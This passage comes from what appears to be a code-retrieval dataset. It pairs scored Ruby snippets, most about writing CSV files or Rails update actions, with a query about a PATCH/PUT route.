"text": "def save_class_tofile\n curr_day = Time.now.strftime(\"%Y_%m_%d\")\n base_dir_out = File.dirname(__FILE__) + \"/csv/#{curr_day}\"\n FileUtils.mkdir_p(base_dir_out)\n \n @tables_class.each do |str_table|\n allitems = (eval(str_table)).find(:all)\n @log.debug \"Processing table #{str_table}\"\n strdet = []\n strdet << \"Table: #{str_table}\"\n strdet << allitems[0].attributes.keys.join(\",\") if allitems.size > 0\n allitems.each do |item|\n strdet << item.attributes.values.join(\",\") \n end\n fname = File.join(base_dir_out, \"#{str_table.split(\"::\")[1]}.csv\")\n File.open(fname, 'w') do |out|\n out << strdet.join(\"\\n\")\n end\n @log.debug \"File created: #{fname}\"\n end\n end",
"title": ""
},
{
"docid": "2b3baa83ae7f54f27157ecec6b473533",
"score": "0.6415117",
"text": "def asking_save\n puts \"Where would you like to save the students?\"\n filesaved_chosen = STDIN.gets.chomp\n CSV.open(filesaved_chosen, \"w\") do |csv|\n @students.each do |student|\n student_data = [student[:name], student[:country], student[:age], student[:cohort]]\n csv << student_data\n end\nend\n puts \"File is saved\"\n sucessful\nend",
"title": ""
},
{
"docid": "a6650acfa324045c9595d368f9bad283",
"score": "0.6412514",
"text": "def to_csv\n \"#{@nom}:#{@taux}\"\n end",
"title": ""
},
{
"docid": "7b71b89d5b07a340e6dd252175e8050f",
"score": "0.6400703",
"text": "def save\n CSV.open(\"./db/gossip.csv\", \"ab\") do |csv|\n csv << [@author, @content]\n end\n end",
"title": ""
},
{
"docid": "415f6e71409314de4dec07a7d6ae90eb",
"score": "0.6400584",
"text": "def save\n CSV.open('./db/gossip.csv', 'ab') do |csv|\n csv << [@author, @content]\n end\n end",
"title": ""
},
{
"docid": "958eb03fb0f41fd891dfbc1d288f0c08",
"score": "0.6389672",
"text": "def save\n \tCSV.open(\"./db/gossip.csv\", \"a\") do |csv|\n \t csv << [@author, @content, @id]\n \tend\n end",
"title": ""
},
{
"docid": "b199af6f19683eead026f5a9f1cac054",
"score": "0.6388134",
"text": "def export_toCSV\n\n #get all engeeners and tasks from db\n @lenie = Engeener.find(:all)\n @tasks = Task.find(:all)\n\n #generate report file\n CSV.open('public/reports/dailystatus.csv', 'w') do |writer|\n @lenie.each do |l|\n writer << [l.imie + \" \" + l.nzwisko]\n writer << ['Task -- description', 'Time taken in hours']\n @tasks.each do |t|\n if t.engeener == l.nzwisko\n writer << [t.tresc, t.timetaken]\n end\n end\n writer << [nil, nil]\n end\n end\n\n #send the file to user\n send_file 'public/reports/dailystatus.csv'\n\n\n end",
"title": ""
},
{
"docid": "80ea37a2fd3131dee376ce2c69c510b1",
"score": "0.63864213",
"text": "def save_to_csv(hash_array)\n # tab_email = get_email_par_ville(hash_array)\n\n\n file_json = open(\"../db/townhalls#{$count_file}.json\")\n json = file_json.read\n \n tab_email = JSON.parse(json)\n\n # Mettre l'entête du tableau [1, 1] = cellule a1\n # Mettre l'entête du tableau [1, 2] = cellule b1\n header = [\"VILLE\", \"EMAIL\"]\n \n\n CSV.open(\"../db/townhalls#{$count_file}.csv\", \"wb\") do |file|\n file << header\n tab_email.map { |contenu| file << contenu }\n end\n end",
"title": ""
},
{
"docid": "76add7482f9cde9a75aa29dc89a3b1e7",
"score": "0.6385217",
"text": "def save_students\n #open file for writing\n puts \"what file would you like to save to...\"\n puts \"press enter for defult\"\n filename = gets.chomp\n if filename.nil?\n file = File.open(\"students.csv\", \"w\")\n else\n file = File.open(filename, \"w\")\n end\n # itarate over student array\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n file.close\nend",
"title": ""
},
{
"docid": "6eec5fe7fc945a0c2dbd25a2b0246228",
"score": "0.6367347",
"text": "def save_students\n puts \"Where would you like to save?\"\n filename = gets.chomp\n file = File.open(filename, \"w\") do |f| # the block begins in this line\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n csv_line = student_data.join(\",\")\n f.puts csv_line\n end\n end\nend",
"title": ""
},
{
"docid": "c82117494ad3ea6a6c2a911bf3871194",
"score": "0.6365605",
"text": "def save\n CSV.open(\"db/gossip.csv\", \"ab\") do |csv|\n csv << [@author, @content]\n end\n end",
"title": ""
},
{
"docid": "29f21b2b0fd0e777bebb5d2a130290cc",
"score": "0.63640803",
"text": "def save\n CSV.open('./db/gossip.csv', 'ab') do |csv|\n csv << [@content, @author]\n end\n end",
"title": ""
},
{
"docid": "e7caa71937f70f7c94ee393bda130855",
"score": "0.63590354",
"text": "def save_csv(data,file)\n CSV.open(file, \"w\") do |csvwriter|\n data.each do |record|\n csvwriter << record\n end\n end\n end",
"title": ""
},
{
"docid": "7aab416795de5e6c9e58f55aa7829c33",
"score": "0.6353631",
"text": "def write_csv(cust_order)\n #add sku and units to exported hash\n CSV.open(\"final_cust_order.csv\", \"a\") do |file|\n cust_order.to_a.each do |item_info|\n file << item_info\n end\n end\nend",
"title": ""
},
{
"docid": "d7480486792b3444756ffbd3d3eeeefd",
"score": "0.6351258",
"text": "def save\n csv = [] # CSV lines to write to file\n # Retrieve CSV line for each LogItem\n @log_items.each do |log_item|\n csv.push(log_item.csv)\n end\n File.write('DietLog.txt', csv.join(\"\\n\"))\n end",
"title": ""
},
{
"docid": "a0e2f12e083d4adb010437a91fbd560b",
"score": "0.63290304",
"text": "def csv\n exercise = Exercise.find(params[:id])\n @moves = exercise.moves\n send_data(\n Move.to_csv(@moves),\n :type => 'text/csv',\n :filename => exercise.title + '.csv',\n :disposition => 'attachment'\n )\n end",
"title": ""
},
{
"docid": "ebe6e61e43917916f43e4a94b8d9065b",
"score": "0.63226736",
"text": "def save_as_csv\n csv = town_mail.flatten.map{ |element| element.map{|k, v| [k, v]}}\n csv = csv.map { |data| data.join(\",\") }.join(\"\\n\")\n File.open(\"./db/email.csv\", 'w') do |file|\n file.write(csv)\n end\nend",
"title": ""
},
{
"docid": "2456ad620f0898a2d18ff025b78b8565",
"score": "0.6311441",
"text": "def write_to_csv\n File.open('final.txt', 'w') { |file| file << final_string }\n end",
"title": ""
},
{
"docid": "36e02b342e0d5ad6a385d67667b45297",
"score": "0.6310279",
"text": "def to_csv\r\n valid = valid?\r\n if (valid)\r\n CSV.open(\"#{@va_schoolid.to_s.to_i}-students.csv\", 'a+') do |csv|\r\n csv << [@admin, @last_name, @first_name, @middle_name, \r\n @division, @va_schoolid, @test_code, @group_name, nil,\r\n @birth_date, @grade, @gender, @sti, @ethnicity, @race, nil, nil, nil, \r\n nil, nil, nil, nil, nil, nil, nil, @eor]\r\n end\r\n return(valid)\r\n end\r\n end",
"title": ""
},
{
"docid": "a461e16c9e891dc6671144fdf0e4a891",
"score": "0.6308534",
"text": "def to_csv\r\n valid = valid?\r\n if (valid)\r\n CSV.open(\"#{@va_schoolid.to_s.to_i}-students.csv\", 'a+') do |csv|\r\n csv << [@admin, @last_name, @first_name, @middle_name, \r\n @division, @va_schoolid, @test_code, @group_name, @group_code,\r\n @birth_date, @grade, @gender, @sti, @ethnicity, @race, @dis_code, \r\n @lep_code, @ari_code, @local_code_a, @local_code_1, @state_code_a,\r\n @state_code_1, @vtln, @tln, @tfn, @eor]\r\n end\r\n return(valid)\r\n end\r\n end",
"title": ""
},
{
"docid": "6d78db77fa028eec70403d1e0f01f06a",
"score": "0.6302865",
"text": "def savePainting(params)\n\tCSV.open(\"./public/saves.csv\", \"a+\") {|csv| params.to_a.each {|elem| csv << elem}}\nend",
"title": ""
}
] |
75348c9dc515894c80f5059607a640c5 | PATCH/PUT /chagas/1 PATCH/PUT /chagas/1.json | [
{
"docid": "7a9591498a579efcc4214ffe65207e61",
"score": "0.6518389",
"text": "def update\n respond_to do |format|\n if @chaga.update(chaga_params)\n format.html { redirect_to @chaga, notice: 'Chaga was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @chaga.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] | [
{
"docid": "62d5bb8566b999bb4c822a5d12fd14f7",
"score": "0.65381026",
"text": "def update\n @eleicao_chapa = Eleicao::Chapa.find(params[:id])\n\n respond_to do |format|\n if @eleicao_chapa.update_attributes(params[:eleicao_chapa])\n format.html { redirect_to @eleicao_chapa, notice: 'Chapa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @eleicao_chapa.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "af9aedd4f428a2c26c3fd57798526020",
"score": "0.64857864",
"text": "def put(path, data = {}, header = {})\n _send(json_request(Net::HTTP::Patch, path, data, header))\n end",
"title": ""
},
{
"docid": "b4fbe2bb4554c75214ec612a847f458e",
"score": "0.6304469",
"text": "def update_tenant_circle(args = {}) \n id = args['id']\n temp_path = \"/tenantcircles.json/{circleId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantcircleId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"title": ""
},
{
"docid": "0c1a09a9d20ee815b5c9f998eda70b44",
"score": "0.6246156",
"text": "def patch(path, params = {}, options = {})\n options[:content_type] ||= :json\n options[:Authorization] = \"simple-token #{self.access_token}\"\n RestClient.patch(request_url(path), params.to_json, options)\n end",
"title": ""
},
{
"docid": "618b5784cc58ddee8139d7e3e02cb7cd",
"score": "0.62182707",
"text": "def update\n @taco = Taco.find(params[:id])\n\n if @taco.update(taco_params)\n head :no_content\n else\n render json: @taco.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "7f7c16b9e14f1352bb07fd27f83679a7",
"score": "0.6216534",
"text": "def patch(path, params: {}, headers: {})\n request_json :patch, path, params, headers\n end",
"title": ""
},
{
"docid": "42e4d81ce0f91ce996dcbc347df2958d",
"score": "0.6200729",
"text": "def update\n @response = self.class.put(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\", :body => \"{'resource_form_name':#{JSON.generate(@opts)}}\")\n end",
"title": ""
},
{
"docid": "882c8317370987b86425c0adbf5bfe8c",
"score": "0.6195847",
"text": "def update_aos_version(args = {}) \n put(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"title": ""
},
{
"docid": "47abb2cddfa1a665018f717cdaaa4164",
"score": "0.6193032",
"text": "def update!(params)\n res = @client.put(path, {}, params, \"Content-Type\" => \"application/json\")\n\n @attributes = res.json if res.status == 201\n end",
"title": ""
},
{
"docid": "a3c823495dbc2a0dee67339992e25f10",
"score": "0.61918205",
"text": "def update\n respond_to do |format|\n if @cha1.update(cha1_params)\n format.html { redirect_to @cha1, notice: '更新しました' }\n format.json { render :show, status: :ok, location: @cha1 }\n else\n format.html { render :edit }\n format.json { render json: @cha1.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "28ac3f76d0678736245bfa35fd100f23",
"score": "0.6180459",
"text": "def update\n @chamada = Chamada.find(params[:id])\n\n respond_to do |format|\n if @chamada.update_attributes(params[:chamada])\n format.html { redirect_to @chamada, notice: 'Chamada was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @chamada.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fa16209f5ac39ae638cdf45c17fd5f18",
"score": "0.6158871",
"text": "def rest_patch(path, options = {}, api_ver = @api_version)\n rest_api(:patch, path, options, api_ver)\n end",
"title": ""
},
{
"docid": "fa16209f5ac39ae638cdf45c17fd5f18",
"score": "0.6158871",
"text": "def rest_patch(path, options = {}, api_ver = @api_version)\n rest_api(:patch, path, options, api_ver)\n end",
"title": ""
},
{
"docid": "ea416b077fa0aa7e84ec3fe2ef9c3772",
"score": "0.61395556",
"text": "def put\n request_method('PUT')\n end",
"title": ""
},
{
"docid": "f69bdd9a9a88e6705db438c1bc347967",
"score": "0.6138033",
"text": "def update\n @caso = Caso.find(params[:id])\n\n respond_to do |format|\n if @caso.update_attributes(params[:caso])\n format.html { redirect_to @caso, notice: 'Caso was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @caso.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f8ee3482f1fb066f03f6e939afbbfef1",
"score": "0.61348647",
"text": "def update\r\n @cathedra = Cathedra.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @cathedra.update_attributes(params[:cathedra])\r\n format.html { redirect_to @cathedra, notice: 'Кафедра успешно обновлена' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @cathedra.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "aa0b87a16ede7353758305dbbaf57c22",
"score": "0.61212045",
"text": "def put(*a) route 'PUT', *a end",
"title": ""
},
{
"docid": "0406b7378c3611afa3a899c589a41442",
"score": "0.61146235",
"text": "def update\n @chapitre = Chapitre.find(params[:id])\n\n respond_to do |format|\n if @chapitre.update_attributes(params[:chapitre])\n format.html { redirect_to @chapitre, notice: 'Chapitre was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @chapitre.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3551a93e8829fecafd58bf691a860eeb",
"score": "0.6075614",
"text": "def update_object(path, id, info)\n json_parse_reply(*json_put(@target, \"#{path}/#{URI.encode(id)}\", info,\n @auth_header, if_match: info[:meta][:version]))\n end",
"title": ""
},
{
"docid": "07918d5a67562e424f50e841ebcd6a84",
"score": "0.6074358",
"text": "def put(path , params = {})\n request(:put , path , params)\n end",
"title": ""
},
{
"docid": "6b88e8534e926c1447e1f752c95d2a77",
"score": "0.60690045",
"text": "def rest_put(path, options = {}, api_ver = @api_version)\n rest_api(:put, path, options, api_ver)\n end",
"title": ""
},
{
"docid": "6b88e8534e926c1447e1f752c95d2a77",
"score": "0.60690045",
"text": "def rest_put(path, options = {}, api_ver = @api_version)\n rest_api(:put, path, options, api_ver)\n end",
"title": ""
},
{
"docid": "b4060e7b669efb41617787caa900ddbc",
"score": "0.6068429",
"text": "def update\n @caixa = Caixa.find(params[:id])\n\n respond_to do |format|\n if @caixa.update_attributes(params[:caixa])\n format.html { redirect_to @caixa, notice: 'Caixa was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @caixa.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e46fa143ef36a22d5c9051bd1d8e423e",
"score": "0.60616195",
"text": "def update\n @pichanga = Pichanga.find(params[:id])\n @canchas = Cancha.all\n\n respond_to do |format|\n if @pichanga.update_attributes(params[:pichanga])\n format.html { redirect_to @pichanga, notice: 'Pichanga was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pichanga.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b2d5fc83a907f25e5176864fa6beb3d0",
"score": "0.60569805",
"text": "def put_rest(path, json) \n run_request(:PUT, create_url(path), json)\n end",
"title": ""
},
{
"docid": "04494d0e2a07a21615ec0829de981c1a",
"score": "0.6042153",
"text": "def update\n @hola = Hola.find(params[:id])\n\n respond_to do |format|\n if @hola.update_attributes(params[:hola])\n format.html { redirect_to @hola, notice: 'Hola was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hola.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "41673e2eecb158f69667d0b07eec9602",
"score": "0.6028806",
"text": "def update\n respond_to do |format|\n if @cajero.update(cajero_params)\n format.html { redirect_to @cajero, notice: 'Cajero was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cajero.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c2804529cce3ce915c2b8967fde239cd",
"score": "0.60282797",
"text": "def update\n respond_to do |format|\n if @cach.update(cach_params)\n format.html { redirect_to @cach, notice: 'Cach was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cach.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c2804529cce3ce915c2b8967fde239cd",
"score": "0.60282797",
"text": "def update\n respond_to do |format|\n if @cach.update(cach_params)\n format.html { redirect_to @cach, notice: 'Cach was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cach.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d5eaea298e64625a71a15a970f3b75ed",
"score": "0.602451",
"text": "def patch *args\n make_request :patch, *args\n end",
"title": ""
},
{
"docid": "8bf88a211194e112934c05efef5b791d",
"score": "0.60195535",
"text": "def update\n respond_to do |format|\n if @chaine.update(chaine_params)\n format.html { redirect_to @chaine, notice: 'Chaine was successfully updated.' }\n format.json { render :show, status: :ok, location: @chaine }\n else\n format.html { render :edit }\n format.json { render json: @chaine.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e8cfdce5b0eeeba4fc38e063721573ed",
"score": "0.5996327",
"text": "def update\n @jogo = Jogo.find(params[:id])\n \n respond_to do |format|\n if (@jogo.update_attributes(params[:jogo]))\n \n # format.json { render :json => { :success => true, :jogo_id => @jogo.id, :perguntas => new_perguntas, :respostas => new_respostas }, :status => :created, :location => @jogo }\n\n format.html { redirect_to @jogo, :notice => 'Jogo was successfully updated.' }\n else\n render :edit\n end\n end\n end",
"title": ""
},
{
"docid": "19720e1ef778fa309ec59ae92695679f",
"score": "0.59931815",
"text": "def update\n @agronomiagalera = Agronomiagalera.find(params[:id])\n\n respond_to do |format|\n if @agronomiagalera.update_attributes(params[:agronomiagalera])\n format.html { redirect_to @agronomiagalera, notice: 'Agronomiagalera was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @agronomiagalera.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5a7952ef9d48d43fc290ea0bd0cfb8c4",
"score": "0.5986922",
"text": "def update\n respond_to do |format|\n if @contenu_acha.update(contenu_acha_params)\n format.html { redirect_to @contenu_acha, notice: 'Contenu acha was successfully updated.' }\n format.json { render :show, status: :ok, location: @contenu_acha }\n else\n format.html { render :edit }\n format.json { render json: @contenu_acha.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6944570cd99eb4d0f0384da9121a18b3",
"score": "0.5982219",
"text": "def update\n @chapa = Chapa.find(params[:id])\n\n respond_to do |format|\n if @chapa.update_attributes(params[:chapa])\n flash[:notice] = 'Chapa was successfully updated.'\n format.html { redirect_to(@chapa) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @chapa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ba054698f075f25cfd4d050b020ce1d6",
"score": "0.598142",
"text": "def update\n respond_to do |format|\n if @chinchilla.update(chinchilla_params)\n format.html { redirect_to @chinchilla, notice: 'Chinchilla was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @chinchilla.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cd9ac91ca5d1f00b5c9ace034f55bf00",
"score": "0.59768695",
"text": "def update\n respond_to do |format|\n if @caja.update(caja_params)\n format.html { redirect_to cajas_url }\n format.json { render :show, status: :ok, location: @caja }\n else\n format.html { render :edit }\n format.json { render json: @caja.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "20d4b250d18e97d55879a70728d0e5be",
"score": "0.59666336",
"text": "def api_put(path, data = {})\n api_request(:put, path, :data => data).parsed\n end",
"title": ""
},
{
"docid": "1602a91acf4180fd135bb11f68f60df4",
"score": "0.59604156",
"text": "def update\n respond_to do |format|\n if @cochera.update(cochera_params)\n format.html { redirect_to @cochera, notice: 'Cochera was successfully updated.' }\n format.json { render :show, status: :ok, location: @cochera }\n else\n format.html { render :edit }\n format.json { render json: @cochera.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1643d1af8b29408d5973180380c0d354",
"score": "0.59549",
"text": "def update\n respond_to do |format|\n if @conta.update(conta_params)\n format.html { redirect_to contas_path, notice: \"Conta #{@conta.nome} Atualizada com Sucesso! \"}\n format.json { render :show, status: :ok, location: @conta }\n else\n format.html { render :edit }\n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "609c4c0d3a0599b42557371f1a7f8c29",
"score": "0.5952338",
"text": "def update\n respond_to do |format|\n if @caixaano.update(caixaano_params)\n format.html { redirect_to @caixaano, notice: 'Caixaano was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @caixaano.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5c611f3b8534f4b2d6a2ccc95adb2130",
"score": "0.59513044",
"text": "def update\n @anecdote_chapitre = AnecdoteChapitre.find(params[:id])\n\n respond_to do |format|\n if @anecdote_chapitre.update_attributes(params[:anecdote_chapitre])\n format.html { redirect_to @anecdote_chapitre, notice: 'Anecdote chapitre was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @anecdote_chapitre.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a803bb895e05973ea1d48c10c4ede9ee",
"score": "0.5951037",
"text": "def update\n @aukcja = Aukcja.find(params[:id])\n\n respond_to do |format|\n if @aukcja.update_attributes(params[:aukcja])\n format.html { redirect_to @aukcja, notice: 'Aukcja was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @aukcja.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ecb0ba42ce67569433c7380ef71a74ac",
"score": "0.59502286",
"text": "def update\n @taco = Taco.find(params[:id])\n\n respond_to do |format|\n if @taco.update_attributes(params[:taco])\n format.html { redirect_to @taco, notice: 'Taco was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @taco.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ddff0ac1268fc8a993c83c3f1a30fe90",
"score": "0.59476906",
"text": "def update\n respond_to do |format|\n if @conta.update(conta_params)\n addlog(\"Atualizou uma conta\")\n format.html { redirect_to @conta, notice: 'Conta atualizada com sucesso.' }\n format.json { render :show, status: :ok, location: @conta }\n else\n format.html { render :edit }\n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bb8ac5a75cc5a699ec6e96921b13d7e8",
"score": "0.5944891",
"text": "def update\n @chamado = Chamado.find(params[:id])\n\n respond_to do |format|\n if @chamado.update_attributes(params[:chamado])\n format.html { redirect_to @chamado, :notice => 'Chamado foi salvo com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @chamado.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "00303df6355ff67794bda3da21a4351f",
"score": "0.59435475",
"text": "def update\n respond_to do |format|\n if @chamada.update(chamada_params)\n format.html { redirect_to @chamada, notice: 'Chamada atualizada.' }\n format.json { render :show, status: :ok, location: @chamada }\n else\n format.html { render :edit }\n format.json { render json: @chamada.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "64a67dabe460ab6638553271f32b75ac",
"score": "0.5938701",
"text": "def update\n respond_to do |format|\n if @agencie.update(agencia_params)\n format.html { redirect_to @agencie, notice: 'Agencia was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @agencie.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3dc91fe4bce434c5c2a750bfa9bd3768",
"score": "0.593748",
"text": "def update\n respond_to do |format|\n if @casa_alugar.update(casa_alugar_params)\n format.html { redirect_to @casa_alugar, notice: \"Casa alugar was successfully updated.\" }\n format.json { render :show, status: :ok, location: @casa_alugar }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @casa_alugar.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "df735fd956784ce0980815c613fed97e",
"score": "0.59362066",
"text": "def update\n respond_to do |format|\n if @chlo.update(chlo_params)\n format.html { redirect_to @chlo, notice: 'Chloe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @chlo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a3f286dfb080ffd3b36e848e6663c368",
"score": "0.5928937",
"text": "def update\n @mecha = Mecha.find(params[:id])\n @mecha.send(\"#{params[:field]}=\", params[:value])\n respond_to do |format|\n if @mecha.save\n format.json {render :text => full_mecha_json(@mecha)}\n end\n end\n\n end",
"title": ""
},
{
"docid": "7f9ef2314f38c5ec7c8a5760a8f1a36e",
"score": "0.5928776",
"text": "def update\n @aha = Aha.find(params[:id])\n\n respond_to do |format|\n if @aha.update_attributes(params[:aha])\n format.html { redirect_to root_url, notice: 'Aha was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @aha.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8cf5582be869fc5b155331c1d0f7a490",
"score": "0.5927151",
"text": "def update\n @oferta = Oferta.find(params[:id])\n\n respond_to do |format|\n if @oferta.update_attributes(params[:oferta])\n format.html { redirect_to @oferta, :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @oferta.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "adece6c8dbba6da8d956774b410c645a",
"score": "0.59226805",
"text": "def update_mobile_carrier(args = {}) \n id = args['id']\n temp_path = \"/mobile.json/{carrierId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"mobileId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"title": ""
},
{
"docid": "1315a264a4c1c9bdd14c592fd7052486",
"score": "0.5920946",
"text": "def update\n respond_to do |format|\n if @anho_carrera.update(anho_carrera_params)\n format.html { redirect_to @anho_carrera, notice: 'Anho carrera was successfully updated.' }\n format.json { render :show, status: :ok, location: @anho_carrera }\n else\n format.html { render :edit }\n format.json { render json: @anho_carrera.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bdfea2e56f4f28202a7fcd0f7e106927",
"score": "0.5919674",
"text": "def update\n @agnieszka1 = Agnieszka1.find(params[:id])\n\n respond_to do |format|\n if @agnieszka1.update_attributes(params[:agnieszka1])\n format.html { redirect_to @agnieszka1, notice: 'Agnieszka1 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @agnieszka1.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "66a93f47189fc68e1ae9ce4ff5ad7ec2",
"score": "0.5917759",
"text": "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= builder.content_type\n post opts.fetch(:path, update_path), opts\n end",
"title": ""
},
{
"docid": "768a6012c7d5ff856dec69d115bfafcc",
"score": "0.59173846",
"text": "def update\n @conta = Conta.find(params[:id])\n\n respond_to do |format|\n if @conta.update_attributes(params[:conta])\n format.html { redirect_to @conta, notice: 'Conta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "11121476217f458129b11f6447608aee",
"score": "0.59141797",
"text": "def put(path, params: {}, headers: {})\n request_json :put, path, params, headers\n end",
"title": ""
},
{
"docid": "1627e1dc7dd3969c2664114bff1fdea1",
"score": "0.5910789",
"text": "def update\n\tputs \"update\"\n #TODO: narazie koncepcja filtru jest czysta abstrakcja \n @resource = Resource.find(params[:id])\n\n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n format.json { head :ok }\n else\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f4de9a47c3dc7c025d28b7e84b43915a",
"score": "0.59102046",
"text": "def put(path, json, headers = {})\n request(:PUT, path, headers, json)\n end",
"title": ""
},
{
"docid": "2c2e953ae73a4d41c60f4f6363805c48",
"score": "0.5909596",
"text": "def put(path, json, headers = {}, options = {})\n request(:PUT, path, headers, options, json)\n end",
"title": ""
},
{
"docid": "350fb56cbb86d47168ccf46529087996",
"score": "0.59074074",
"text": "def update\n begin\n if update_chassi(chassi_params)\n head :no_content\n else\n render json: @chassi.errors, status: :unprocessable_entity\n end\n rescue ActionController::ParameterMissing => e\n head :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "c0b998e143ad2c37de30c76689c22365",
"score": "0.59042466",
"text": "def put(path, body, options = {})\n options[:body] = body\n json_request('PUT', path, options)\n end",
"title": ""
},
{
"docid": "2c5497f059ab1d7457ffc834ecb8f6a2",
"score": "0.59023106",
"text": "def patch(path, params = {})\n request(:patch, path, params)\n end",
"title": ""
},
{
"docid": "1279d5711e03d1fee97b82d218fbf30d",
"score": "0.58968914",
